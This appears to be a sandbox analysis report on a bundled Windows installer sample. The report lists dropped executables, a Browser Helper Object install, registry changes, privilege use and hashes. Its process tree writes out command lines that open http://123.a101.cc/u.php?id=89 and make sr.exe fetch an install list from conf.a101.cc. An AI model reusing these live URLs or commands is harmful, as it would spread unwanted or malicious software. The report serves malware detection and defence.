Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
150s -
max time network
156s -
platform
windows10-2004_x64 -
resource
win10v2004-20220901-en -
resource tags
arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system -
submitted
26/11/2022, 21:59
Static task
static1
Behavioral task
behavioral1
Sample
38972f46b6f90aff8f84a2db101954d677b685d963669ad7bd6c66c71d7d10df.exe
Resource
win7-20220812-en
General
-
Target
38972f46b6f90aff8f84a2db101954d677b685d963669ad7bd6c66c71d7d10df.exe
-
Size
1.8MB
-
MD5
6f8ef575d4ac33cc73e248259b684637
-
SHA1
d6c200085c5a6acdd0abbec64976fbe952c1b3a1
-
SHA256
38972f46b6f90aff8f84a2db101954d677b685d963669ad7bd6c66c71d7d10df
-
SHA512
20d3ad1666183ed09497864fdd6c18c5d4e007c0fdb0e2f64077b7b72d75337aaf63391c7778d320c2f6e706eca4929277170a16b8237897470221313c306772
-
SSDEEP
49152:wp06fwmXLslRGiPSWYgRQm8f7yuE2chBGN:wphfwmXLslR/tQBf7MZHGN
Malware Config
Signatures
-
Executes dropped EXE 6 IoCs
pid Process 3992 kuaibo.exe 4344 qvodupdate.exe 1496 qvodkunbang.exe 5112 BaiduP2PService.exe 2524 sr.exe 2972 BaiduP2PService.exe -
resource yara_rule behavioral2/files/0x0001000000022e20-134.dat upx behavioral2/memory/3992-135-0x0000000000400000-0x00000000004B6000-memory.dmp upx behavioral2/files/0x0001000000022e20-136.dat upx behavioral2/memory/3992-148-0x0000000000400000-0x00000000004B6000-memory.dmp upx -
Loads dropped DLL 15 IoCs
pid Process 4204 38972f46b6f90aff8f84a2db101954d677b685d963669ad7bd6c66c71d7d10df.exe 4344 qvodupdate.exe 4344 qvodupdate.exe 1496 qvodkunbang.exe 1496 qvodkunbang.exe 5112 BaiduP2PService.exe 5112 BaiduP2PService.exe 5112 BaiduP2PService.exe 5112 BaiduP2PService.exe 5112 BaiduP2PService.exe 2972 BaiduP2PService.exe 2972 BaiduP2PService.exe 2972 BaiduP2PService.exe 2972 BaiduP2PService.exe 2972 BaiduP2PService.exe -
Installs/modifies Browser Helper Object 2 TTPs 6 IoCs
BHOs are DLL modules which act as plugins for Internet Explorer.
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{CDD7718A-D29A-4E86-A62D-7A44848A46C1} qvodupdate.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects qvodupdate.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{CDD7718A-D29A-4E86-A62D-7A44848A46C1}\NoExplorer = "1" qvodupdate.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\BROWSER HELPER OBJECTS\{1FD49718-1D00-4B19-AF5F-070AF6D5D54C} qvodupdate.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\BROWSER HELPER OBJECTS\{31D09BA0-12F5-4CCE-BE8A-2923E76605DA} qvodupdate.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects qvodupdate.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Drops file in Program Files directory 18 IoCs
description ioc Process File created C:\Program Files (x86)\QvodPlayer\qvodkunbang.exe 38972f46b6f90aff8f84a2db101954d677b685d963669ad7bd6c66c71d7d10df.exe File opened for modification C:\Program Files (x86)\tools\isWrite\ qvodupdate.exe File created C:\Program Files (x86)\tools\tools.exe qvodupdate.exe File opened for modification C:\Program Files (x86)\Browser\config.ini qvodkunbang.exe File opened for modification C:\Program Files (x86)\tools\isWrite\ qvodkunbang.exe File created C:\Program Files (x86)\tools\BaiduP2PService.exe qvodkunbang.exe File opened for modification C:\Program Files (x86)\QvodPlayer\isWrite\ 38972f46b6f90aff8f84a2db101954d677b685d963669ad7bd6c66c71d7d10df.exe File created C:\Program Files (x86)\QvodPlayer\kuaibo.exe 38972f46b6f90aff8f84a2db101954d677b685d963669ad7bd6c66c71d7d10df.exe File opened for modification C:\Program Files (x86)\Browser\config.ini qvodupdate.exe File opened for modification C:\Program Files (x86)\tools\ qvodkunbang.exe File opened for modification C:\Program Files (x86)\QvodPlayer\ 38972f46b6f90aff8f84a2db101954d677b685d963669ad7bd6c66c71d7d10df.exe File created C:\Program Files (x86)\QvodPlayer\tools.exe 38972f46b6f90aff8f84a2db101954d677b685d963669ad7bd6c66c71d7d10df.exe File created C:\Program Files (x86)\tools\sr.exe qvodkunbang.exe File created C:\Program Files (x86)\tools\P2PBase.dll qvodkunbang.exe File created C:\Program Files (x86)\tools\P2SBase.dll qvodkunbang.exe File created C:\Program Files (x86)\tools\P2PStatReport.dll qvodkunbang.exe File created C:\Program Files (x86)\QvodPlayer\qvodupdate.exe 38972f46b6f90aff8f84a2db101954d677b685d963669ad7bd6c66c71d7d10df.exe File opened for modification C:\Program Files (x86)\tools\ qvodupdate.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{2175ADB5-255E-4f1b-A091-EA0BE135D9E0}\AppPath = "C:\\Program Files (x86)\\tools" BaiduP2PService.exe Key created \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\Total\ = "179968" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\Total\ = "181023" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\Total\ = "327" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\best.aliexpress.com\ = "179800" IEXPLORE.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{2175ADB5-255E-4f1b-A091-EA0BE135D9E0}\AppName = "BaiduP2PService.exe" BaiduP2PService.exe Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\Total\ = "179936" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "376325278" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\Total\ = "267" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\alicdn.com\Total = "0" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\aliexpress.com\Total = "14" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30999150" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\aliexpress.com\Total = "181006" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\best.aliexpress.com\ = "267" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "3891235390" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\alicdn.com\Total = "24" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\best.aliexpress.com\ = "68" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\aliexpress.com\Total = "327" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\Total\ = "179809" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\aliexpress.com\Total = "181003" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\aliexpress.com\Total = "179951" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\best.aliexpress.com\ = "179785" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\Total\ = "179799" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\alicdn.com\NumberOfSubdomains = "1" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\Total\ = "179826" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\aliexpress.com\Total = "237" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\best.aliexpress.com\ = "179755" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\aliexpress.com\Total = "0" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\aliexpress.com\Total = "179785" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\best.aliexpress.com\ = "179904" IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\best.aliexpress.com\ = "14" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\Total\ = "179785" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\Total\ = "179800" IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\Total\ = "179895" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\IESettingSync IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\best.aliexpress.com\ = "0" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\best.aliexpress.com\ = "168" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\best.aliexpress.com\ = "179799" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "30999150" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\alicdn.com\Total = "17" IEXPLORE.EXE Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{2175ADB5-255E-4f1b-A091-EA0BE135D9E0}\Policy = "3" BaiduP2PService.exe Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\Total\ = "68" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\aliexpress.com\Total = "179741" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\DOMStorage\is.alicdn.com IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\DOMStorage\best.aliexpress.com IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\aliexpress.com\Total = "68" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\is.alicdn.com\ = "17" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\best.aliexpress.com\ = "179809" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\aliexpress.com\Total = "168" IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = f09d0cdd6e02d901 iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\is.alicdn.com\ = "24" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\aliexpress.com\Total = "179904" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\best.aliexpress.com\ = "181003" IEXPLORE.EXE -
Modifies registry class 4 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CDD7718A-D29A-4E86-A62D-7A44848A46C1} qvodupdate.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CDD7718A-D29A-4E86-A62D-7A44848A46C1}\ = "AccountProtect Class" qvodupdate.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CDD7718A-D29A-4E86-A62D-7A44848A46C1}\InprocServer32 qvodupdate.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CDD7718A-D29A-4E86-A62D-7A44848A46C1}\InprocServer32\ = "C:\\ProgramData\\tools\\bdmanager.dll" qvodupdate.exe -
Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 4344 qvodupdate.exe 4344 qvodupdate.exe 4344 qvodupdate.exe 4344 qvodupdate.exe 1496 qvodkunbang.exe 1496 qvodkunbang.exe 1496 qvodkunbang.exe 1496 qvodkunbang.exe 1496 qvodkunbang.exe 1496 qvodkunbang.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 4760 iexplore.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 4344 qvodupdate.exe Token: SeDebugPrivilege 4344 qvodupdate.exe Token: SeDebugPrivilege 1496 qvodkunbang.exe Token: SeDebugPrivilege 1496 qvodkunbang.exe Token: SeDebugPrivilege 1496 qvodkunbang.exe -
Suspicious use of FindShellTrayWindow 3 IoCs
pid Process 3992 kuaibo.exe 3992 kuaibo.exe 4760 iexplore.exe -
Suspicious use of SendNotifyMessage 2 IoCs
pid Process 3992 kuaibo.exe 3992 kuaibo.exe -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 4760 iexplore.exe 4760 iexplore.exe 1380 IEXPLORE.EXE 1380 IEXPLORE.EXE 1380 IEXPLORE.EXE 1380 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 4204 wrote to memory of 3992 4204 38972f46b6f90aff8f84a2db101954d677b685d963669ad7bd6c66c71d7d10df.exe 82 PID 4204 wrote to memory of 3992 4204 38972f46b6f90aff8f84a2db101954d677b685d963669ad7bd6c66c71d7d10df.exe 82 PID 4204 wrote to memory of 3992 4204 38972f46b6f90aff8f84a2db101954d677b685d963669ad7bd6c66c71d7d10df.exe 82 PID 4204 wrote to memory of 4344 4204 38972f46b6f90aff8f84a2db101954d677b685d963669ad7bd6c66c71d7d10df.exe 84 PID 4204 wrote to memory of 4344 4204 38972f46b6f90aff8f84a2db101954d677b685d963669ad7bd6c66c71d7d10df.exe 84 PID 4204 wrote to memory of 4344 4204 38972f46b6f90aff8f84a2db101954d677b685d963669ad7bd6c66c71d7d10df.exe 84 PID 4344 wrote to memory of 4760 4344 qvodupdate.exe 85 PID 4344 wrote to memory of 4760 4344 qvodupdate.exe 85 PID 4760 wrote to memory of 1380 4760 iexplore.exe 86 PID 4760 wrote to memory of 1380 4760 iexplore.exe 86 PID 4760 wrote to memory of 1380 4760 iexplore.exe 86 PID 4204 wrote to memory of 1496 4204 38972f46b6f90aff8f84a2db101954d677b685d963669ad7bd6c66c71d7d10df.exe 87 PID 4204 wrote to memory of 1496 4204 38972f46b6f90aff8f84a2db101954d677b685d963669ad7bd6c66c71d7d10df.exe 87 PID 4204 wrote to memory of 1496 4204 38972f46b6f90aff8f84a2db101954d677b685d963669ad7bd6c66c71d7d10df.exe 87 PID 1496 wrote to memory of 5112 1496 qvodkunbang.exe 89 PID 1496 wrote to memory of 5112 1496 qvodkunbang.exe 89 PID 1496 wrote to memory of 5112 1496 qvodkunbang.exe 89 PID 1496 wrote to memory of 2524 1496 qvodkunbang.exe 90 PID 1496 wrote to memory of 2524 1496 qvodkunbang.exe 90 PID 1496 wrote to memory of 2524 1496 qvodkunbang.exe 90 PID 1496 wrote to memory of 2972 1496 qvodkunbang.exe 93 PID 1496 wrote to memory of 2972 1496 qvodkunbang.exe 93 PID 1496 wrote to memory of 2972 1496 qvodkunbang.exe 93
Processes
-
C:\Users\Admin\AppData\Local\Temp\38972f46b6f90aff8f84a2db101954d677b685d963669ad7bd6c66c71d7d10df.exe"C:\Users\Admin\AppData\Local\Temp\38972f46b6f90aff8f84a2db101954d677b685d963669ad7bd6c66c71d7d10df.exe"1⤵
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:4204 -
C:\Program Files (x86)\QvodPlayer\kuaibo.exe"C:\Program Files (x86)\QvodPlayer\kuaibo.exe"2⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3992
-
-
C:\Program Files (x86)\QvodPlayer\qvodupdate.exe"C:\Program Files (x86)\QvodPlayer\qvodupdate.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Installs/modifies Browser Helper Object
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4344 -
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://123.a101.cc/u.php?id=893⤵
- Modifies Internet Explorer settings
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4760 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4760 CREDAT:17410 /prefetch:24⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1380
-
-
-
-
C:\Program Files (x86)\QvodPlayer\qvodkunbang.exe"C:\Program Files (x86)\QvodPlayer\qvodkunbang.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1496 -
C:\Program Files (x86)\tools\BaiduP2PService.exe"C:\Program Files (x86)\tools\BaiduP2PService.exe" init3⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies Internet Explorer settings
PID:5112
-
-
C:\Program Files (x86)\tools\sr.exe"C:\Program Files (x86)\tools\sr.exe" "http://conf.a101.cc/tool/install.txt" "C:\ProgramData\Baidu\BaiduPlayer\3⤵
- Executes dropped EXE
PID:2524
-
-
C:\Program Files (x86)\tools\BaiduP2PService.exe"C:\Program Files (x86)\tools\BaiduP2PService.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2972
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
408KB
MD5d8b7c3af2f63db6cc542273e192b1d02
SHA134b9d8be2c314ae099b3f825b801a78b608dec26
SHA2566d56acd63ab77f03feb92e8499b42df24388677e7e2bbbfeb2ff706d4a7550b9
SHA5124b27ac2b324ad5d0aecc8eb64a1f055f9b16837570efe43198dce1d2f5809fcbd104ac39563ea32066990fb0fb34ab85ddf072c4f5ef283c052b742c6a4e675b
-
Filesize
408KB
MD5d8b7c3af2f63db6cc542273e192b1d02
SHA134b9d8be2c314ae099b3f825b801a78b608dec26
SHA2566d56acd63ab77f03feb92e8499b42df24388677e7e2bbbfeb2ff706d4a7550b9
SHA5124b27ac2b324ad5d0aecc8eb64a1f055f9b16837570efe43198dce1d2f5809fcbd104ac39563ea32066990fb0fb34ab85ddf072c4f5ef283c052b742c6a4e675b
-
Filesize
748KB
MD5d250e70b1cfa8534fbc7818f719696b4
SHA1e6ed0c53b9f7d09474b579c4e9e93c0d56a465e2
SHA2567e13a77e61c81044507c310617ecf2347d91e1c36e19f0385b7d42e38522ff3f
SHA512bfa5494e65621d41515408c710107385bd6ea3ee59de1b417b6afb15130c2fed99b1dd7aee3283a84e7117d1fd88808325b90fb942e52f4af17374c8eee78709
-
Filesize
748KB
MD5d250e70b1cfa8534fbc7818f719696b4
SHA1e6ed0c53b9f7d09474b579c4e9e93c0d56a465e2
SHA2567e13a77e61c81044507c310617ecf2347d91e1c36e19f0385b7d42e38522ff3f
SHA512bfa5494e65621d41515408c710107385bd6ea3ee59de1b417b6afb15130c2fed99b1dd7aee3283a84e7117d1fd88808325b90fb942e52f4af17374c8eee78709
-
Filesize
429KB
MD5d53d4904cf23c14ffeff881f6b38387c
SHA1b5f717718b2e62ad24535c3d954a86da274efdea
SHA2560343444eed87bde68b9bf5a7efdee1dc78a13d2a637dd94fb614f9368be54974
SHA512e37035d2ff9a2fd258c0ed082b624f49bc8fafe3201ce1c44e01d5889868d11857a81f61cb79f8e8e84421350265a688a81d51a9af6c4b988f141e6dce7bb3a4
-
Filesize
429KB
MD5d53d4904cf23c14ffeff881f6b38387c
SHA1b5f717718b2e62ad24535c3d954a86da274efdea
SHA2560343444eed87bde68b9bf5a7efdee1dc78a13d2a637dd94fb614f9368be54974
SHA512e37035d2ff9a2fd258c0ed082b624f49bc8fafe3201ce1c44e01d5889868d11857a81f61cb79f8e8e84421350265a688a81d51a9af6c4b988f141e6dce7bb3a4
-
Filesize
508KB
MD5012a8879efa6f8dbc3c6ba58a659fefb
SHA1d2a2dac321ff5a78de52e926044ba362f4004cde
SHA256774839fe17e1ff94e45a21e6c1ac3c884e8fa0a3cb5ef24e9b8ae503d70dfa66
SHA512b0f060cd5231f255083e2437026488d5fa3493e97cebb83a4638680551299db1a01862ca433d52efa8ecff80aa6ba5982cdd015a9f5081364b80ee92b79b78ba
-
Filesize
508KB
MD5012a8879efa6f8dbc3c6ba58a659fefb
SHA1d2a2dac321ff5a78de52e926044ba362f4004cde
SHA256774839fe17e1ff94e45a21e6c1ac3c884e8fa0a3cb5ef24e9b8ae503d70dfa66
SHA512b0f060cd5231f255083e2437026488d5fa3493e97cebb83a4638680551299db1a01862ca433d52efa8ecff80aa6ba5982cdd015a9f5081364b80ee92b79b78ba
-
Filesize
508KB
MD5012a8879efa6f8dbc3c6ba58a659fefb
SHA1d2a2dac321ff5a78de52e926044ba362f4004cde
SHA256774839fe17e1ff94e45a21e6c1ac3c884e8fa0a3cb5ef24e9b8ae503d70dfa66
SHA512b0f060cd5231f255083e2437026488d5fa3493e97cebb83a4638680551299db1a01862ca433d52efa8ecff80aa6ba5982cdd015a9f5081364b80ee92b79b78ba
-
Filesize
496KB
MD5a86a90ba120c455ac0e3655f146d5a0f
SHA1277c55191fbbadf888626df4fba279591632a406
SHA256577790026b949f666546299cd1dd002bc76447b86feed056cfe8c903a8039c43
SHA512a1d1d9386575187a81867db036c59ce76cede87a981fec7462283ccc0f76e0e8c8a85c6e66fd74a4305b6f402c224db9c1525e22015a4400d0bbedd1c72a9d47
-
Filesize
496KB
MD5a86a90ba120c455ac0e3655f146d5a0f
SHA1277c55191fbbadf888626df4fba279591632a406
SHA256577790026b949f666546299cd1dd002bc76447b86feed056cfe8c903a8039c43
SHA512a1d1d9386575187a81867db036c59ce76cede87a981fec7462283ccc0f76e0e8c8a85c6e66fd74a4305b6f402c224db9c1525e22015a4400d0bbedd1c72a9d47
-
Filesize
496KB
MD5a86a90ba120c455ac0e3655f146d5a0f
SHA1277c55191fbbadf888626df4fba279591632a406
SHA256577790026b949f666546299cd1dd002bc76447b86feed056cfe8c903a8039c43
SHA512a1d1d9386575187a81867db036c59ce76cede87a981fec7462283ccc0f76e0e8c8a85c6e66fd74a4305b6f402c224db9c1525e22015a4400d0bbedd1c72a9d47
-
Filesize
496KB
MD5a86a90ba120c455ac0e3655f146d5a0f
SHA1277c55191fbbadf888626df4fba279591632a406
SHA256577790026b949f666546299cd1dd002bc76447b86feed056cfe8c903a8039c43
SHA512a1d1d9386575187a81867db036c59ce76cede87a981fec7462283ccc0f76e0e8c8a85c6e66fd74a4305b6f402c224db9c1525e22015a4400d0bbedd1c72a9d47
-
Filesize
364KB
MD53b14cae0ea1d045bb5b196017913edb3
SHA17ca456595148f2d5e71444a612f2351c4cd8a20d
SHA256a2aeac1855ccb0bab911ddbfd7c79e86834020dc3c260a335249d41aff594982
